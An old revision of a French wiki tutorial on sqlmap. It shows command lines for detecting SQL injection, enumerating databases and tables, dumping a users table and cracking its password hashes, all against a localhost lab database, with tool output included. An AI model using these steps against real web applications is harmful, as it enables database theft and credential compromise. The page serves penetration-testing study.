Ceci est une ancienne révision du document !
Sqlmap - HowTo
Dans cette article je présenterai l'utilisation que je fais de sqlmap.
1.Présentation
sqlmap est un programme python permettant de tester et d'exploiter des injections sql sur une application web
2.Installation
Si vous êtes sous Kali Linux, sqlmpa est déjà installé, sinon, vous pouvez le cloner via le GitHub de sqlmap.
3.Utilisation
3.1 Test
Je vous conseil avant tout de tester manuellement que l'app web est vulnérable aux injections SQL en injectant une simple quote par exemple (?id=') si cela renvois une erreur, l'application est très probablement vulnérable.
3.2 Le DBMS et les bases de données
Dans un premier temps, il faut determiner le gestionnaire de base de données (DBMS) et lister les bases de données présentes sur le serveur. Pour cela :
$ python sqlmap.py -u "localhost/index.php?id=1" -p "id" --dbs
Petite explication des paramètres :
NB: Si les paramètres sont des données POST, pas de panique, sqlmap le permet avec l'option –data (–data “username=user&password=pass” -p “password”)
Résultats notables :
web server operating system: Linux Debian 8.0 (jessie) web application technology: Apache 2.4.10 back-end DBMS: MySQL 5 [23:53:23] [INFO] fetching database names available databases [4]: [*] information_schema [*] mysql [*] performance_schema [*] sqlmap
3.3 Les tables Pour lister les tables, il suffit de préciser la base de donnée à utiliser et de demander à sqlmap de nous lister les tables de celle ci.
$ python sqlmap.py -u "localhost/index.php?id=1" -p "id" --dbms=mysql -D "sqlmap" --tables
Les paramètres :
Résultat :
[00:00:11] [INFO] fetching tables for database: 'sqlmap' Database: sqlmap [2 tables] +-------+ | blog | | users | +-------+
3.4 Dump des tables Passons aux choses sérieuses, deux solutions, soit dump toutes les tables, soit en préciser une.
$ python sqlmap.py -u "localhost/index.php?id=1" -p "id" --dbms=mysql -D "sqlmap" -T users --dump // dump de la table users ou $ python sqlmap.py -u "localhost/index.php?id=1" -p "id" --dbms=mysql -D "sqlmap" --dump // dump de toutes les tables
Nous allons nous concentrer sur la table user car elle a plus de chance de contenir des informations exploitables.Quand une table contient des passwords, sqlmap vous propose de les dechiffer.
Résultat :
[00:06:21] [INFO] recognized possible password hashes in column 'password' do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y [00:06:23] [INFO] writing hashes to a temporary file '/tmp/sqlmapmQGAQX19748/sqlmaphashes-7QfKGg.txt' do you want to crack them via a dictionary-based attack? [Y/n/q] Y Database: sqlmap Table: users [4 entries] +----+--------+-------------------------------------------+ | id | login | password | +----+--------+-------------------------------------------+ | 1 | ghozt | 9cb4afde731e9eadcda4506ef7c65fa2 (noob) | | 2 | Yorin | c8d46d341bea4fd5bff866a65ff8aea9 (game) | | 3 | Dazax | 3e1867f5aee83045775fbe355e6a3ce1 (beer) | | 4 | birdy4 | 27b8a7812992a386c1f239eed7e5d94b (ricola) | +----+--------+-------------------------------------------+
“And voilà” les mots de passe ont été bruteforcé par sqlmap, vous pouvez utiliser votre propre dico pour ce bruteforce ou laisse sqlmap faire le travail. Tous les résultats sont stockés dans des fichiers sur votre machine.
To be continued …